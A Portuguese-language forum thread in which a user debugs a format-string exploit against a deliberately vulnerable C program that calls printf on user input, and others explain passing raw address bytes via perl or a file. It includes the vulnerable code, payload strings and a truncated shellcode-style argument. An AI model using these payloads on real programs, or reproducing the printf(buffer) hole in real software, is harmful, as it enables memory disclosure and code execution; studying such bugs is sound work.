Ir ao conteúdo

Ajuda em c


gegel

Posts recomendados

Postado

#include <stdio.h>

int main(int argc, char **argv)

{

   static char *a = "cabeca";

   char buffer[256];

   printf("a = 0x%08x buffer = 0x%08x\n", a, &buffer);

   sprintf(buffer, "%s", argv[1]);

   printf(buffer);

   putchar(0xa);

}

quero fornecer um argumento que imprima o cabeca que ta la no heap

cabeca@cabeca:~/fmt$ ./ex5 "AAAA_%08x_%08x_%08x_%08x_%08x_%08x"

a = 0x08048524 buffer = 0xbffffc1c

AAAA_08048549_bffffe74_40013b00_00000003_40013d10_41414141

cabeca@cabeca:~/fmt$ ./ex5 "\x1c\xfc\xff\xbf_%08x_%08x_%08x_%08x_%08x_%s"

a = 0x08048524 buffer = 0xbffffc0c

Segmentation fault

cabeca@cabeca:~/fmt$ ./ex5 "\x1c\xfc\xff\xbf_%08x_%08x_%08x_%08x_%08x_%08x"

a = 0x08048524 buffer = 0xbffffc0c

\x1c\xfc\xff\xbf_08048549_bffffe68_40013b00_00000003_40013d10_6331785c

eu acho o endereço do inicio do buffer 6 argumentos a frente..

ma quando coloco o endereço certo ele não fica certo no stack os \x12\x32 etc

era pra ir em hexa já no stack ao invés disso ele ta transformando em hexa de novo...

Alguem pode dar uma força?

Postado

Faria mais sentido você colocar "format string exploit" no tópico, e não "ajuda em C".

A string 'cabeca' é static. Provavelmente está armazenada no heap, não no stack. Você levou isso em consideração?

Sugiro que faça uma boa busca no Google por "format string exploit" e "format string vulnerabilites". Em especial, este pdf.

Postado

A string cabeca está armazenada no heap, utilizando format strings você pode imprimir o conteúdo de qualquer endereço de memória, desde que esteja mapeado é claro, e que não contenha bytes 0x00, o que faria a função de formatação pensar que a string chegou ao fim. Quando ao documento, já li e no documento usam exatamente este método, mas infelizmente você não entendeu minha pergunta, a teoria esta absolutamente correta, tanto que se você usar:

strncpy(&buffer, "\x41\x41\x41\x41_%08x_%08x_%08x_%08x_%08x_%08x", sizeof(buffer));

o ultimo parâmetro %08x imprimirá 41414141, o que indica que o apontador do stack está no inicio do buffer, logo, se eu trocar o \x41\x41\x41\x41 pelo endereço da minha variável no

heap, e trocar o ultimo %08x por um %s, ele deveria imprimir a minha variavel, considerando que o %s é passado por parametro isto é, ele pega o endereço no topo do stack e imprime o conteudo daquele endereço. Isso acontece se eu por a string como segundo  argumento no strncpy(), porém, se eu fornecer a string no argv[1] (ex supondo que a string

no heap estivesse em 0x0804853c:

./prog "\x3c\x85\x04\x08_%08x_%08x_%08x_%08x_%08x_%s"

e utilizar strncpy(&buffer, argv[1], sizeof(buffer)); o exemplo não da certo, ao invés do endereço ficar correto no stack e o %s ler o endereço fornecido, ele coloca o valor de cada caracter em hexa no meu buffer, o valor da \, o valor do x, o valor do 3, o valor do c, e assim por diante, o que obviamente causa um segfault no vfprintf(), então a minh pergunta é como posso fornecer este endereço no argv[1] e ele ficar corretamente no stack.

-------------------

mensagem editada - kAkO

Postado

mas infelizmente você não entendeu minha pergunta

Realmente, se você ler sua pergunta, aposto que você mesmo vai ficar em dúvida.

Deduzi pelo jeito da sua pergunta (vide quote abaixo) que você estava sequer começando a aprender sobre o assunto

ele coloca o valor de cada caracter em hexa no meu buffer, o valor da \, o valor do x, o valor do 3, o valor do c

Em hexa? Significa que seu buffer virou algo como:


buffer = {
        "5C783363 ..."      /* string contendo os valores em hexa dos caracteres  ' \  x  3  c '      */

};

(Obviamente isto não faz sentido, mas foi isso que você descreveu, os caracteres sendo convertidos para seu valor hexa)

então a minha pergunta é como posso fornecer este endereço no argv[1] e ele ficar corretamente no stack.

Então seu problema não parece ter qualquer relação com C ou com format string exploits, mas com o seu shell mesmo que não entende essas seqüências de escape. Se quiser um programa ready-to-exploit, converta o argv com alguma função como g_strcompress (da GLib) para converter as seqüências de escape, ou coloque o parâmetro num arquivo em binário mesmo (aka: com um editor hexa mesmo, ex "param.txt"), e invoque seu programa com

./ex5 `cat param.txt`

------------------

mensagem editada: kAkO

Postado

Os números que de acordo com você, amontoei no meu post foi para deixar o post mais especifico e compreensivel, de nada adiantaria eu fazer um post completamente generico, pois esse exemplo é dado em quase todos os papers sobre format strings, minha única duvida era o porque dele não estar funcionando.

Então seu problema não parece ter qualquer relação com

C ou com format string exploits, mas com o seu shell mesmo (RTFM) que não entende essas seqüências de escape. Se quiser um programa ready-to-exploit, converta o argv com alguma função como g_strcompress (da GLib) para converter as seqüências de escape, ou coloque o parâmetro num arquivo em binário mesmo (aka: com um editor hexa mesmo, ex "param.txt"), e invoque seu programa com Amostra de codificação ./ex5 `cat param.txt`

Quanto a esse trecho foge completamente da minha pergunta, estou precisando fazer isso numa determinada situação, nem sempre é possivel  usar as ideias que voce citou, mesmo porque não estou testando localmente.

---------------------

mensagem editada: kAkO

Postado


./b1 `perl -e'print"A"x132'`
./b1 "`perl -e'print"\x90\xeb\x17..."`

Entendeu? A menos que seu shell converta as seqüências de escape ou que você possa teclar esses caracteres diretamente, você precisa de um outro programa que gere os argumentos (cat, perl, etc).

-------------------------

mensagem editada: kAkO

Postado

Ola Gegel e DanielKO,

Este fórum tem o objetivo de promover o conhecimento e não de ataques pessoais. Estou editando agora as provocações e ofensas feitas um pelo outro. A mensagem continuará aberta para mais discussões e caso haja mais problemas iremos tomar as medidas cabíveis. Caso tenham “assuntos” pessoais a tratarem, tratem por pvt, icq, MSN, e-mail ou outros.

kAkO

Links:

- Regras do Fórum

- Comportamento e Ética no fórum

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...

LANÇAMENTO!

eletronica2025-popup.jpg


CLIQUE AQUI E BAIXE AGORA MESMO!